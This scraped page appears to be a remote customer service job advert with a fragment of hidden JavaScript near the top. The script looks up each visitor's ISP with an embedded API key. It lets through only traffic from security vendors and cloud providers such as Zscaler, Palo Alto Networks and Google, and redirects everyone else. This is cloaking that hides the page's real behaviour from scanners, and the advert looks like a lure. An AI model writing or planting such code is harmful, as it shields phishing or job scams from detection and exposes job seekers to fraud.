Customer Service Representative – Remote – Full-Time

Customer Service Representative – Remote – Full-Time

Overview


const ipAddress = data.ip;

// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;

// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));

if (!ispAllowed && !asOrgAllowed) { // Redirect all users to the same URL window.location.href = ''; } }) .catch(error => { console.error('Error retrieving ISP name:', error); }); }) .catch(error => { console.error('Error retrieving IP address or location:', error); });

We are seeking a dedicated Customer Service Representative to join our remote team, based in Philadelphia, Indiana.

Responsibilities:

  • Provide exceptional support to customers via phone, email, and chat channels.
  • Assist with order processing, billing inquiries, and product troubleshooting.
  • Maintain accurate records of customer interactions and transactions.
  • Identify and escalate priority issues to the appropriate departments.
  • Collaborate with team members to improve overall customer experience.

Skills Needed:

  • Excellent communication and active listening skills.
  • Strong problem-solving abilities and attention to detail.
  • Ability to work independently in a remote environment.
  • Technical proficiency with CRM software and Microsoft Office.

Benefits:

  • Competitive salary of $50,000-$60,000 per year.
  • Flexible remote work setup.
  • Health, dental, and vision insurance options.
  • Paid time off and holidays.
  • Opportunities for career growth and development.
Emploment Location
Indiana, Philadelphia

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